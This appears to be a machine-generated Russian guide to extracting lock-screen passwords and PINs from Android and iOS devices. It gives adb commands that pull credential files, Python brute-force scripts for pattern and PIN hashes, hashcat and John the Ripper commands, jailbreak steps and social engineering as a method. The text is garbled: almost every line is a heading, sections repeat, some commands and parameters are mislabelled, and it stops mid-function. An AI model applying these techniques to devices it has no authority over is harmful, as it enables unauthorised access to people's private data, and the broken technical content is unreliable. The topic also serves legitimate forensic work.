Извлечение паролей и PIN-кодов из мобильных устройств: Методы и инструменты 2026

<h2 id="struktura-fde-v-android">Структура FDE в Android</h2>

<h2 id="klyuch-shifrovaniya-dek-hranitsya-v-zashifrovannom-vide">Ключ шифрования (DEK) хранится в зашифрованном виде</h2>

<h2 id="klyuch-shifrovaniya-klyucha-kek-vyvoditsya-iz-parolya-polzovatelya">Ключ шифрования ключа (KEK) выводится из пароля пользователя</h2>

<h2 id="formula-kek-pbkdf2-password-salt-iterations">Формула: KEK = PBKDF2(Password, Salt, Iterations)</h2>

// Пример использования KeyStore в Android

KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");

keyStore.load(null);



// Создание ключа для шифрования

KeyGenerator keyGenerator = KeyGenerator.getInstance(

    KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");

<h2 id="hranitsya-v-data-system-password-key">Хранится в /data/system/password.key</h2>

<h2 id="ispolzuet-md5-ili-sha-1-heshirovanie">Использует MD5 или SHA-1 хеширование</h2>

<h2 id="ispolzuet-apparatnyy-modul-dlya-zaschity">Использует аппаратный модуль для защиты</h2>

<h2 id="hranitsya-v-data-system-gatekeeper-password-key">Хранится в /data/system/gatekeeper.password.key</h2>

<h2 id="ispolzuet-pbkdf2-s-bolshim-kolichestvom-iteratsiy">Использует PBKDF2 с большим количеством итераций</h2>

<h2 id="nastroyki-blokirovki-hranyatsya-v-data-system-locksettings-db">Настройки блокировки хранятся в /data/system/locksettings.db</h2>

<h2 id="soderzhit-informatsiyu-o-tipe-blokirovki-i-heshi">Содержит информацию о типе блокировки и хеши</h2>

<h2 id="format-hraneniya-posledovatelnost-chisel-ot-0-do-8">Формат хранения: последовательность чисел от 0 до 8</h2>

<h2 id="naprimer-0-1-2-4-5-8-predstavlyaet-opredelennyy-pattern">Например: 0-1-2-4-5-8 представляет определенный паттерн</h2>

<h2 id="heshiruetsya-s-ispolzovaniem-sha-1">Хешируется с использованием SHA-1</h2>

<h2 id="secure-enclave-rabotaet-nezavisimo-ot-osnovnoy-os">Secure Enclave работает независимо от основной ОС</h2>

<h2 id="imeet-sobstvennyy-zagruzchik-i-operatsionnuyu-sistemu">Имеет собственный загрузчик и операционную систему</h2>

<h2 id="kommunikatsiya-s-osnovnoy-os-cherez-zaschischennye-kanaly">Коммуникация с основной ОС через защищенные каналы</h2>

<h2 id="keychain-dostupen-cherez-security-framework">Keychain доступен через Security Framework</h2>

<h2 id="trebuet-autentifikatsii-polzovatelya">Требует аутентификации пользователя</h2>

<h2 id="zaschischen-apparatnymi-klyuchami">Защищен аппаратными ключами</h2>

<h2 id="hranitsya-v-private-var-mobile-library-springboard-lockstate-plist">Хранится в /private/var/mobile/Library/SpringBoard/LockState.plist</h2>

<h2 id="soderzhit-informatsiyu-o-sostoyanii-blokirovki">Содержит информацию о состоянии блокировки</h2>

<h2 id="soderzhit-klyuchi-dlya-rasshifrovki-dannyh">Содержит ключи для расшифровки данных</h2>

<h2 id="zaschischen-klassom-complete-protection">Защищен классом Complete Protection</h2>

<h2 id="trebuet-parol-dlya-dostupa">Требует пароль для доступа</h2>

<h2 id="klyuchi-dlya-rasshifrovki-dannyh">Ключи для расшифровки данных</h2>

<h2 id="hranyatsya-v-secure-enclave">Хранятся в Secure Enclave</h2>

<h2 id="nedostupny-bez-razblokirovki-ustroystva">Недоступны без разблокировки устройства</h2>

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

adb devices



<h2 id="proverka-root-dostupa">Проверка root доступа</h2>

adb shell

su



<h2 id="izvlechenie-fayla-s-parolem">Извлечение файла с паролем</h2>

adb pull /data/system/password.key

adb pull /data/system/gesture.key

adb pull /data/system/locksettings.db

<h2 id="zagruzka-v-recovery-mode">Загрузка в recovery mode</h2>

<h2 id="dostup-k-faylovoy-sisteme-cherez-recovery">Доступ к файловой системе через recovery</h2>

<h2 id="kopirovanie-faylov-s-parolyami">Копирование файлов с паролями</h2>




<h2 id="izvlechenie-faylov">Извлечение файлов</h2>

adb pull /data/system/locksettings.db

adb pull /data/system/gatekeeper.password.key

<h2 id="rezervnye-kopii-mogut-soderzhat">Резервные копии могут содержать:</h2>

<h2 id="nastroyki-blokirovki-ekrana">- Настройки блокировки экрана</h2>

<h2 id="dannye-prilozheniy">- Данные приложений</h2>

<h2 id="konfiguratsionnye-fayly">- Конфигурационные файлы</h2>




<h2 id="analiz-rezervnoy-kopii">Анализ резервной копии</h2>

<h2 id="ispolzovanie-instrumentov-dlya-izvlecheniya-dannyh">Использование инструментов для извлечения данных</h2>

<h2 id="izvlechenie-fayla-gesture-key">Извлечение файла gesture.key</h2>

adb pull /data/system/gesture.key



<h2 id="analiz-hesha">Анализ хеша</h2>

<h2 id="ispolzovanie-instrumentov-dlya-brutforsa">Использование инструментов для брутфорса</h2>

<h2 id="naprimer-androidpatternlock-py">Например: androidpatternlock.py</h2>

#!/usr/bin/env python3

import hashlib

import itertools



def generate_patterns():

    """Генерация всех возможных паттернов"""

    points = [0, 1, 2, 3, 4, 5, 6, 7, 8]

    patterns = []

    

    # Паттерны от 4 до 9 точек

    for length in range(4, 10):

        for pattern in itertools.permutations(points, length):

            patterns.append(pattern)

    

    return patterns



def hash_pattern(pattern):

    """Хеширование паттерна"""

    pattern_str = ''.join(map(str, pattern))

    return hashlib.sha1(pattern_str.encode()).hexdigest()



def crack_gesture(gesture_hash):

    """Брутфорс графического ключа"""

    patterns = generate_patterns()

    

    for pattern in patterns:

        if hash_pattern(pattern) == gesture_hash:

            return pattern

    

    return None

<h2 id="izvlechenie-bazy-dannyh">Извлечение базы данных</h2>

adb pull /data/system/locksettings.db



<h2 id="analiz-bazy-dannyh">Анализ базы данных</h2>

sqlite3 locksettings.db

SELECT * FROM locksettings;

import sqlite3

import hashlib

import itertools



def crack_pin(pin_hash, salt):

    """Брутфорс PIN-кода"""

    # PIN-коды обычно от 4 до 6 цифр

    for length in range(4, 7):

        for pin in itertools.product('0123456789', repeat=length):

            pin_str = ''.join(pin)

            # PBKDF2 с параметрами Android

            hash_result = hashlib.pbkdf2_hmac('sha1', 

                                             pin_str.encode(),

                                             salt,

                                             10000,  # iterations

                                             32)     # key length

            if hash_result.hex() == pin_hash:

                return pin_str

    return None

<h2 id="podklyuchenie-ustroystva-k-ufed">Подключение устройства к UFED</h2>

<h2 id="sozdanie-fizicheskogo-ili-logicheskogo-obraza">Создание физического или логического образа</h2>

<h2 id="analiz-obraza-dlya-izvlecheniya-paroley">Анализ образа для извлечения паролей</h2>

<h2 id="ispolzovanie-vstroennyh-instrumentov-dlya-obhoda-blokirovok">Использование встроенных инструментов для обхода блокировок</h2>

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

<h2 id="sozdanie-obraza">Создание образа</h2>

<h2 id="analiz-dannyh">Анализ данных</h2>

<h2 id="izvlechenie-paroley-cherez-interfeys-instrumenta">Извлечение паролей через интерфейс инструмента</h2>

<h2 id="primer-cve-2015-3864-android-5-0">Пример: CVE-2015-3864 (Android 5.0)</h2>

<h2 id="pozvolyaet-oboyti-blokirovku-ekrana-cherez-opredelennye-metody">Позволяет обойти блокировку экрана через определенные методы</h2>




<h2 id="ispolzovanie-eksployta">Использование эксплойта</h2>

<h2 id="poluchenie-dostupa-k-sisteme">Получение доступа к системе</h2>

<h2 id="izvlechenie-paroley">Извлечение паролей</h2>

<h2 id="poisk-podskazok-k-parolyam">Поиск подсказок к паролям:</h2>

<h2 id="kontakty-v-telefonnoy-knige">- Контакты в телефонной книге</h2>

<h2 id="soobscheniya-s-upominaniem-paroley">- Сообщения с упоминанием паролей</h2>

<h2 id="fotografii-s-zametkami">- Фотографии с заметками</h2>

<h2 id="email-s-informatsiey-o-parolyah">- Email с информацией о паролях</h2>

<h2 id="drugie-ustroystva-polzovatelya">- Другие устройства пользователя</h2>

<h2 id="razborka-ustroystva">Разборка устройства</h2>

<h2 id="izvlechenie-chipov-pamyati">Извлечение чипов памяти</h2>

<h2 id="chtenie-pamyati-cherez-spetsializirovannoe-oborudovanie">Чтение памяти через специализированное оборудование</h2>

<h2 id="analiz-syryh-dannyh-dlya-poiska-paroley">Анализ сырых данных для поиска паролей</h2>

<h2 id="sozdanie-dampa-pamyati">Создание дампа памяти</h2>

adb shell "cat /proc/meminfo"



<h2 id="ispolzovanie-instrumentov-dlya-analiza-pamyati">Использование инструментов для анализа памяти</h2>

<h2 id="poisk-paroley-v-otkrytom-vide">Поиск паролей в открытом виде</h2>

<h2 id="poisk-klyuchey-shifrovaniya">Поиск ключей шифрования</h2>

<h2 id="shag-1-podklyuchenie-ustroystva">Шаг 1: Подключение устройства</h2>

adb devices



<h2 id="shag-2-proverka-root-dostupa">Шаг 2: Проверка root доступа</h2>

adb shell su -c "id"



<h2 id="shag-3-izvlechenie-faylov-s-parolyami">Шаг 3: Извлечение файлов с паролями</h2>

adb pull /data/system/locksettings.db

adb pull /data/system/gatekeeper.password.key

adb pull /data/system/gatekeeper.pattern.key



<h2 id="shag-4-analiz-bazy-dannyh">Шаг 4: Анализ базы данных</h2>

sqlite3 locksettings.db

.mode column

.headers on

SELECT name, value FROM locksettings;



<h2 id="shag-5-izvlechenie-hesha-parolya">Шаг 5: Извлечение хеша пароля</h2>

<h2 id="ispolzovanie-instrumentov-dlya-analiza-heshey">Использование инструментов для анализа хешей</h2>




<h2 id="shag-6-brutfors-parolya-esli-neobhodimo">Шаг 6: Брутфорс пароля (если необходимо)</h2>

<h2 id="ispolzovanie-spetsializirovannyh-instrumentov">Использование специализированных инструментов</h2>

<h2 id="trebuetsya-klyuch-dlya-rasshifrovki">Требуется ключ для расшифровки</h2>

<h2 id="klyuch-svyazan-s-parolem-polzovatelya">Ключ связан с паролем пользователя</h2>

<h2 id="neobhodimo-libo-znat-parol-libo-ispolzovat-obhodnye-metody">Необходимо либо знать пароль, либо использовать обходные методы</h2>




<h2 id="metody-raboty-s-zashifrovannymi-ustroystvami">Методы работы с зашифрованными устройствами:</h2>

<h2 id="1-ispolzovanie-izvestnogo-parolya">1. Использование известного пароля</h2>

<h2 id="2-obhod-shifrovaniya-cherez-uyazvimosti">2. Обход шифрования через уязвимости</h2>

<h2 id="3-fizicheskiy-dostup-k-klyucham-esli-vozmozhno">3. Физический доступ к ключам (если возможно)</h2>

<h2 id="4-ispolzovanie-rezervnyh-kopiy">4. Использование резервных копий</h2>

<h2 id="raspolozhenie-rezervnyh-kopiy">Расположение резервных копий:</h2>

<h2 id="windows-userprofile-appdata-roaming-apple-computer-mobilesync-backup">Windows: %USERPROFILE%\AppData\Roaming\Apple Computer\MobileSync\Backup\</h2>

<h2 id="macos-library-application-support-mobilesync-backup">macOS: ~/Library/Application Support/MobileSync/Backup/</h2>




<h2 id="struktura-rezervnoy-kopii">Структура резервной копии:</h2>

<h2 id="manifest-plist-metadannye">- Manifest.plist (метаданные)</h2>

<h2 id="manifest-db-baza-dannyh-faylov">- Manifest.db (база данных файлов)</h2>

<h2 id="fayly-s-heshirovannymi-imenami">- Файлы с хешированными именами</h2>




<h2 id="izvlechenie-paroley-iz-rezervnoy-kopii">Извлечение паролей из резервной копии</h2>

<h2 id="ispolzovanie-instrumentov-dlya-analiza">Использование инструментов для анализа</h2>

import sqlite3

import plistlib



def analyze_itunes_backup(backup_path):

    """Анализ резервной копии iTunes"""

    manifest_path = os.path.join(backup_path, 'Manifest.db')

    

    conn = sqlite3.connect(manifest_path)

    cursor = conn.cursor()

    

    # Получение списка файлов

    cursor.execute("SELECT fileID, domain, relativePath FROM Files")

    files = cursor.fetchall()

    

    # Поиск файлов с паролями

    for file_id, domain, path in files:

        if 'keychain' in path.lower() or 'password' in path.lower():

            print(f"Found: {domain}/{path}")

            # Извлечение и анализ файла

    

    conn.close()

<h2 id="dostup-k-icloud-rezervnym-kopiyam">Доступ к iCloud резервным копиям:</h2>

<h2 id="trebuetsya-apple-id-i-parol">- Требуется Apple ID и пароль</h2>

<h2 id="dvuhfaktornaya-autentifikatsiya">- Двухфакторная аутентификация</h2>

<h2 id="ispolzovanie-instrumentov-dlya-izvlecheniya">- Использование инструментов для извлечения</h2>




<h2 id="instrumenty">Инструменты:</h2>

<h2 id="imazing">- iMazing</h2>

<h2 id="ibackup-viewer">- iBackup Viewer</h2>

<h2 id="3utools">- 3uTools</h2>

<h2 id="podklyuchenie-ios-ustroystva">Подключение iOS устройства</h2>

<h2 id="sozdanie-logicheskogo-ili-fizicheskogo-obraza">Создание логического или физического образа</h2>

<h2 id="ispolzovanie-vstroennyh-metodov-obhoda-blokirovok">Использование встроенных методов обхода блокировок</h2>

<h2 id="izvlechenie-paroley-cherez-interfeys">Извлечение паролей через интерфейс</h2>

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

<h2 id="analiz-dannyh">Анализ данных</h2>

<h2 id="izvlechenie-paroley-iz-keychain">Извлечение паролей из Keychain</h2>

<h2 id="analiz-zashifrovannyh-dannyh">Анализ зашифрованных данных</h2>

<h2 id="poluchenie-jailbreak-dostupa">Получение jailbreak доступа</h2>

<h2 id="ispolzovanie-uyazvimostey-naprimer-checkra1n-dlya-staryh-ustroystv">Использование уязвимостей (например, checkra1n для старых устройств)</h2>




<h2 id="posle-jailbreak">После jailbreak:</h2>

ssh root@device_ip



<h2 id="izvlechenie-faylov-s-parolyami">Извлечение файлов с паролями</h2>

scp root@device_ip:/private/var/mobile/Library/SpringBoard/LockState.plist .

import keychain

import plistlib



def extract_keychain_passwords(device_path):

    """Извлечение паролей из Keychain"""

    keychain_path = os.path.join(device_path, 

                                 'private/var/Keychains/keychain-2.db')

    

    # Keychain защищен и требует расшифровки

    # Использование инструментов для анализа

    

    # Поиск паролей в базе данных

    # Расшифровка с использованием ключей устройства

<h2 id="checkm8-rabotaet-tolko-na-opredelennyh-ustroystvah">Checkm8 работает только на определенных устройствах:</h2>

<h2 id="iphone-4s-iphone-x">- iPhone 4S - iPhone X</h2>

<h2 id="ipad-2nd-gen-ipad-pro-1st-gen">- iPad (2nd gen) - iPad Pro 1st gen</h2>

<h2 id="ipod-touch-5th-gen-7th-gen">- iPod Touch 5th gen - 7th gen</h2>




<h2 id="ispolzovanie-checkra1n">Использование checkra1n:</h2>

./checkra1n -c



<h2 id="zagruzka-kastomnogo-obraza">Загрузка кастомного образа</h2>

<h2 id="dostup-k-faylovoy-sisteme">Доступ к файловой системе</h2>

<h2 id="izvlechenie-paroley">Извлечение паролей</h2>

<h2 id="sozdanie-dampa-pamyati-cherez-instrumenty">Создание дампа памяти через инструменты</h2>

<h2 id="analiz-pamyati-dlya-poiska-paroley">Анализ памяти для поиска паролей</h2>

<h2 id="poisk-klyuchey-shifrovaniya">Поиск ключей шифрования</h2>

<h2 id="poisk-nezashifrovannyh-dannyh">Поиск незашифрованных данных</h2>

<h2 id="poisk-podskazok">Поиск подсказок:</h2>

<h2 id="kontakty">- Контакты</h2>

<h2 id="soobscheniya">- Сообщения</h2>

<h2 id="email">- Email</h2>

<h2 id="drugie-ustroystva">- Другие устройства</h2>

<h2 id="rezervnye-kopii-drugih-servisov">- Резервные копии других сервисов</h2>

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

<h2 id="sozdanie-rezervnoy-kopii">Создание резервной копии</h2>

<h2 id="izvlechenie-dannyh-iz-rezervnoy-kopii">Извлечение данных из резервной копии</h2>

<h2 id="analiz-paroley">Анализ паролей</h2>

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

<h2 id="rezervnoe-kopirovanie">Резервное копирование</h2>

<h2 id="izvlechenie-dannyh">Извлечение данных</h2>

<h2 id="razborka-ustroystva">Разборка устройства</h2>

<h2 id="izvlechenie-chipov-pamyati">Извлечение чипов памяти</h2>

<h2 id="chtenie-pamyati-cherez-spetsializirovannoe-oborudovanie">Чтение памяти через специализированное оборудование</h2>

<h2 id="analiz-syryh-dannyh">Анализ сырых данных</h2>

<h2 id="shag-1-sozdanie-rezervnoy-kopii-cherez-itunes">Шаг 1: Создание резервной копии через iTunes</h2>

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

<h2 id="sozdanie-zashifrovannoy-rezervnoy-kopii">Создание зашифрованной резервной копии</h2>




<h2 id="shag-2-poisk-rezervnoy-kopii">Шаг 2: Поиск резервной копии</h2>

<h2 id="windows-userprofile-appdata-roaming-apple-computer-mobilesync-backup">Windows: %USERPROFILE%\AppData\Roaming\Apple Computer\MobileSync\Backup\</h2>

<h2 id="macos-library-application-support-mobilesync-backup">macOS: ~/Library/Application Support/MobileSync/Backup/</h2>




<h2 id="shag-3-identifikatsiya-rezervnoy-kopii">Шаг 3: Идентификация резервной копии</h2>

<h2 id="proverka-manifest-plist">Проверка Manifest.plist</h2>

<h2 id="poisk-uuid-ustroystva">Поиск UUID устройства</h2>




<h2 id="shag-4-analiz-manifest-db">Шаг 4: Анализ Manifest.db</h2>

sqlite3 Manifest.db

SELECT fileID, domain, relativePath FROM Files WHERE relativePath LIKE '%keychain%';



<h2 id="shag-5-izvlechenie-faylov-keychain">Шаг 5: Извлечение файлов Keychain</h2>

<h2 id="kopirovanie-faylov-s-heshirovannymi-imenami">Копирование файлов с хешированными именами</h2>

<h2 id="rasshifrovka-s-ispolzovaniem-klyuchey">Расшифровка с использованием ключей</h2>




<h2 id="shag-6-analiz-rasshifrovannyh-dannyh">Шаг 6: Анализ расшифрованных данных</h2>

<h2 id="poisk-paroley-v-keychain">Поиск паролей в Keychain</h2>

<h2 id="izvlechenie-uchetnyh-dannyh">Извлечение учетных данных</h2>

<h2 id="zashifrovannye-rezervnye-kopii-zaschischeny-parolem">Зашифрованные резервные копии защищены паролем</h2>

<h2 id="metody-raboty">Методы работы:</h2>

<h2 id="1-ispolzovanie-izvestnogo-parolya">1. Использование известного пароля</h2>

<h2 id="2-brutfors-parolya-ochen-medlenno">2. Брутфорс пароля (очень медленно)</h2>

<h2 id="3-ispolzovanie-podskazok">3. Использование подсказок</h2>

<h2 id="4-sotsialnaya-inzheneriya">4. Социальная инженерия</h2>




<h2 id="instrumenty-dlya-raboty-s-zashifrovannymi-rezervnymi-kopiyami">Инструменты для работы с зашифрованными резервными копиями:</h2>

<h2 id="iphone-backup-extractor">- iPhone Backup Extractor</h2>

<h2 id="ibackup-viewer">- iBackup Viewer</h2>

<h2 id="spetsializirovannye-instrumenty-forenziki">- Специализированные инструменты форензики</h2>

<h2 id="1-podklyuchenie-ustroystva-k-ufed">1. Подключение устройства к UFED</h2>

<h2 id="2-vybor-metoda-izvlecheniya">2. Выбор метода извлечения:</h2>

<h2 id="logicheskiy-izvlechenie">- Логический извлечение</h2>

<h2 id="fizicheskiy-izvlechenie">- Физический извлечение</h2>

<h2 id="obhod-blokirovki">- Обход блокировки</h2>




<h2 id="3-sozdanie-obraza-ustroystva">3. Создание образа устройства</h2>

<h2 id="4-analiz-obraza">4. Анализ образа</h2>

<h2 id="5-izvlechenie-paroley-cherez-interfeys">5. Извлечение паролей через интерфейс</h2>

<h2 id="1-podklyuchenie-ustroystva">1. Подключение устройства</h2>

<h2 id="2-sozdanie-obraza">2. Создание образа</h2>

<h2 id="3-analiz-obraza">3. Анализ образа</h2>

<h2 id="4-izvlechenie-paroley-cherez-razdel-passwords">4. Извлечение паролей через раздел &quot;Passwords&quot;</h2>

<h2 id="5-eksport-dannyh">5. Экспорт данных</h2>

<h2 id="1-podklyuchenie-ustroystva">1. Подключение устройства</h2>

<h2 id="2-sozdanie-obraza">2. Создание образа</h2>

<h2 id="3-analiz-cherez-axiom">3. Анализ через AXIOM</h2>

<h2 id="4-izvlechenie-paroley-v-razdele-passwords">4. Извлечение паролей в разделе &quot;Passwords&quot;</h2>

<h2 id="1-sozdanie-obraza-ustroystva-cherez-drugie-instrumenty">1. Создание образа устройства через другие инструменты</h2>

<h2 id="2-import-obraza-v-autopsy">2. Импорт образа в Autopsy</h2>

<h2 id="3-analiz-faylovoy-sistemy">3. Анализ файловой системы</h2>

<h2 id="4-poisk-faylov-s-parolyami">4. Поиск файлов с паролями:</h2>

<h2 id="data-system-locksettings-db">- /data/system/locksettings.db</h2>

<h2 id="data-system-password-key">- /data/system/password.key</h2>

<h2 id="data-system-gesture-key">- /data/system/gesture.key</h2>




<h2 id="5-izvlechenie-i-analiz-faylov">5. Извлечение и анализ файлов</h2>

<h2 id="ispolzovanie">Использование:</h2>

python androidpatternlock.py gesture.key



<h2 id="instrument">Инструмент:</h2>

<h2 id="izvlekaet-hesh-iz-fayla">- Извлекает хеш из файла</h2>

<h2 id="vypolnyaet-brutfors-ataku">- Выполняет брутфорс атаку</h2>

<h2 id="vyvodit-naydennyy-pattern">- Выводит найденный паттерн</h2>

<h2 id="vzlom-hesha-pin-koda">Взлом хеша PIN-кода:</h2>

hashcat -m 10000 -a 3 hash.txt ?d?d?d?d



<h2 id="parametry">Параметры:</h2>

<h2 id="m-10000-pbkdf2-hmac-sha1">-m 10000: PBKDF2-HMAC-SHA1</h2>

<h2 id="a-3-brutfors-ataka">-a 3: Брутфорс атака</h2>

<h2 id="d-d-d-d-4-znachnyy-pin">?d?d?d?d: 4-значный PIN</h2>

<h2 id="sozdanie-fayla-s-heshem">Создание файла с хешем</h2>

echo "hash:salt" > hash.txt



<h2 id="zapusk-john-the-ripper">Запуск John the Ripper</h2>

john --format=pbkdf2-hmac-sha1 hash.txt



<h2 id="ispolzovanie-slovarya">Использование словаря</h2>

john --wordlist=passwords.txt hash.txt

<h2 id="podklyuchenie-ustroystva">Подключение устройства</h2>

adb devices



<h2 id="proverka-root-dostupa">Проверка root доступа</h2>

adb shell su



<h2 id="izvlechenie-faylov-s-parolyami">Извлечение файлов с паролями</h2>

adb pull /data/system/locksettings.db

adb pull /data/system/password.key

adb pull /data/system/gesture.key



<h2 id="analiz-faylov-lokalno">Анализ файлов локально</h2>

<h2 id="otkrytie-locksettings-db">Открытие locksettings.db</h2>

sqlitebrowser locksettings.db



<h2 id="prosmotr-tablits">Просмотр таблиц</h2>

<h2 id="analiz-dannyh">Анализ данных</h2>

<h2 id="eksport-dannyh">Экспорт данных</h2>

#!/usr/bin/env python3

import sqlite3

import hashlib

import itertools



def analyze_locksettings(db_path):

    """Анализ базы данных locksettings"""

    conn = sqlite3.connect(db_path)

    cursor = conn.cursor()

    

    # Получение данных

    cursor.execute("SELECT name, value FROM locksettings")

    rows = cursor.fetchall()

    

    for name, value in rows:

        print(f"{name}: {value}")

        # Анализ значения

        # Поиск хешей паролей

    

    conn.close()



def crack_pin_hash(hash_value, salt, max_length=6):

    """Брутфорс PIN-кода"""

    import hashlib

    

    for length in range(4, max_length + 1):

        for pin in itertools.product('0123456789', repeat=length):

            pin_str = ''.join(pin)

            # PBKDF2 с параметрами Android

            key = hashlib.pbkdf2_hmac('sha1',

                                     pin_str.encode(),

                                     salt,

                                     10000,

                                     32)

            if key.hex() == hash_value:

                return pin_str

    return None

<h2 id="1-podklyuchenie-ios-ustroystva">1. Подключение iOS устройства</h2>

<h2 id="2-vybor-metoda-izvlecheniya">2. Выбор метода извлечения</h2>

<h2 id="3-sozdanie-obraza">3. Создание образа</h2>

<h2 id="4-analiz-obraza">4. Анализ образа</h2>

<h2 id="5-izvlechenie-paroley-cherez-interfeys">5. Извлечение паролей через интерфейс</h2>

<h2 id="1-import-rezervnoy-kopii-itunes">1. Импорт резервной копии iTunes</h2>

<h2 id="2-analiz-rezervnoy-kopii">2. Анализ резервной копии</h2>

<h2 id="3-izvlechenie-paroley">3. Извлечение паролей</h2>

<h2 id="4-eksport-dannyh">4. Экспорт данных</h2>

<h2 id="1-podklyuchenie-ustroystva">1. Подключение устройства</h2>

<h2 id="2-vybor-metoda-izvlecheniya">2. Выбор метода извлечения</h2>

<h2 id="3-sozdanie-obraza">3. Создание образа</h2>

<h2 id="4-analiz-i-izvlechenie-paroley">4. Анализ и извлечение паролей</h2>

<h2 id="1-podklyuchenie-ustroystva">1. Подключение устройства</h2>

<h2 id="2-sozdanie-rezervnoy-kopii">2. Создание резервной копии</h2>

<h2 id="3-izvlechenie-dannyh">3. Извлечение данных</h2>

<h2 id="4-analiz-dannyh">4. Анализ данных</h2>

<h2 id="1-vybor-rezervnoy-kopii">1. Выбор резервной копии</h2>

<h2 id="2-vvod-parolya-esli-zashifrovana">2. Ввод пароля (если зашифрована)</h2>

<h2 id="3-izvlechenie-dannyh">3. Извлечение данных</h2>

<h2 id="4-poisk-paroley">4. Поиск паролей</h2>

<h2 id="zagruzka-ustroystva-v-dfu-rezhim">Загрузка устройства в DFU режим</h2>

<h2 id="zapusk-checkra1n">Запуск checkra1n</h2>

./checkra1n -c



<h2 id="posle-jailbreak">После jailbreak:</h2>

<h2 id="dostup-k-faylovoy-sisteme">- Доступ к файловой системе</h2>

<h2 id="izvlechenie-paroley">- Извлечение паролей</h2>

<h2 id="analiz-dannyh">- Анализ данных</h2>

<h2 id="1-sozdanie-obraza-cherez-drugie-instrumenty">1. Создание образа через другие инструменты</h2>

<h2 id="2-import-obraza-v-autopsy">2. Импорт образа в Autopsy</h2>

<h2 id="3-analiz-faylovoy-sistemy">3. Анализ файловой системы</h2>

<h2 id="4-poisk-faylov-s-parolyami">4. Поиск файлов с паролями:</h2>

<h2 id="keychain-fayly">- Keychain файлы</h2>

<h2 id="lockstate-plist">- LockState.plist</h2>

<h2 id="drugie-fayly-s-parolyami">- Другие файлы с паролями</h2>

#!/usr/bin/env python3

import sqlite3

import plistlib

import os



def analyze_itunes_backup(backup_path):

    """Анализ резервной копии iTunes"""

    manifest_db = os.path.join(backup_path, 'Manifest.db')

    manifest_plist = os.path.join(backup_path, 'Manifest.plist')

    

    # Чтение метаданных

    with open(manifest_plist, 'rb') as f:

        manifest = plistlib.load(f)

        print(f"Device: {manifest.get('Lockdown', {}).get('ProductType', 'Unknown')}")

    

    # Анализ базы данных файлов

    conn = sqlite3.connect(manifest_db)

    cursor = conn.cursor()

    

    # Поиск файлов Keychain

    cursor.execute("""

        SELECT fileID, domain, relativePath 

        FROM Files 

        WHERE relativePath LIKE '%keychain%' 

           OR relativePath LIKE '%LockState%'

    """)

    

    keychain_files = cursor.fetchall()

    for file_id, domain, path in keychain_files:

        print(f"Keychain file: {domain}/{path}")

        # Извлечение и анализ файла

    

    conn.close()



def extract_keychain_passwords(backup_path):

    """Извлечение паролей из Keychain"""

    # Поиск файлов Keychain

    # Расшифровка файлов

    # Извлечение паролей

    pass

<h2 id="shag-1-poluchenie-dostupa-k-ustroystvu">Шаг 1: Получение доступа к устройству</h2>

adb shell su



<h2 id="shag-2-izvlechenie-bazy-dannyh">Шаг 2: Извлечение базы данных</h2>

adb pull /data/system/locksettings.db



<h2 id="shag-3-analiz-bazy-dannyh">Шаг 3: Анализ базы данных</h2>

sqlite3 locksettings.db

.mode column

.headers on

SELECT * FROM locksettings;

-- Таблица locksettings содержит:

-- - lockscreen.password_type: тип пароля (1=PIN, 2=Password, 3=Pattern)

-- - lockscreen.password_salt: соль для хеширования

-- - lockscreen.password_handle: хеш пароля

<h2 id="izvlechenie-faylov-gatekeeper">Извлечение файлов Gatekeeper</h2>

adb pull /data/system/gatekeeper.password.key

adb pull /data/system/gatekeeper.pattern.key



<h2 id="analiz-faylov">Анализ файлов</h2>

<h2 id="fayly-soderzhat-heshi-paroley">Файлы содержат хеши паролей</h2>

#!/usr/bin/env python3

import hashlib

import itertools

import sqlite3



def extract_pin_hash(db_path):

    """Извлечение хеша PIN из базы данных"""

    conn = sqlite3.connect(db_path)

    cursor = conn.cursor()

    

    cursor.execute("SELECT value FROM locksettings WHERE name='lockscreen.password_handle'")

    result = cursor.fetchone()

    

    if result:

        return result[0]

    return None



def crack_pin(pin_hash, salt, max_length=6):

    """Брутфорс PIN-кода"""

    # PIN обычно от 4 до 6 цифр

    for length in range(4, max_length + 1):

        print(f"Trying PIN length: {length}")

        

        for pin in itertools.product('0123456789', repeat=length):

            pin_str = ''.join(pin)

            

            # PBKDF2 с параметрами Android

            # Android использует 10000 итераций по умолчанию

            key = hashlib.pbkdf2_hmac('sha1',

                                     pin_str.encode('utf-8'),

                                     salt,

                                     10000,  # iterations

                                     32)     # key length

            

            if key.hex() == pin_hash:

                return pin_str

            

            # Показ прогресса

            if int(pin_str) % 1000 == 0:

                print(f"Trying: {pin_str}")

    

    return None



<h2 id="ispolzovanie">Использование</h2>

db_path = 'locksettings.db'

pin_hash = extract_pin_hash(db_path)

salt = b'default_salt'  # Получить из базы данных



if pin_hash:

    pin = crack_pin(pin_hash, salt)

    if pin:

        print(f"Found PIN: {pin}")

    else:

        print("PIN not found")

def crack_pin_with_wordlist(pin_hash, salt, wordlist_path):

    """Брутфорс PIN с использованием словаря"""

    with open(wordlist_path, 'r') as f:

        for line in f:

            pin = line.strip()

            if len(pin) < 4 or len(pin) > 6:

                continue

            

            key = hashlib.pbkdf2_hmac('sha1',

                                     pin.encode('utf-8'),

                                     salt,

                                     10000,

                                     32)

            

            if key.hex() == pin_hash:

                return pin

    

    return None

<h2 id="izvlechenie-fayla-s-graficheskim-klyuchom">Извлечение файла с графическим ключом</h2>

adb pull /data/system/gesture.key



<h2 id="fayl-soderzhit-sha-1-hesh-patterna">Файл содержит SHA-1 хеш паттерна</h2>

#!/usr/bin/env python3

import hashlib

import itertools



def generate_pattern_combinations():

    """Генерация всех возможных паттернов"""

    points = [0, 1, 2, 3, 4, 5, 6, 7, 8]

    patterns = []

    

    # Паттерны от 4 до 9 точек

    for length in range(4, 10):

        for pattern in itertools.permutations(points, length):

            # Проверка валидности паттерна

            if is_valid_pattern(pattern):

                patterns.append(pattern)

    

    return patterns



def is_valid_pattern(pattern):

    """Проверка валидности паттерна"""

    # Паттерн должен быть связным (каждая точка должна быть достижима)

    # Это упрощенная проверка

    for i in range(len(pattern) - 1):

        current = pattern[i]

        next_point = pattern[i + 1]

        

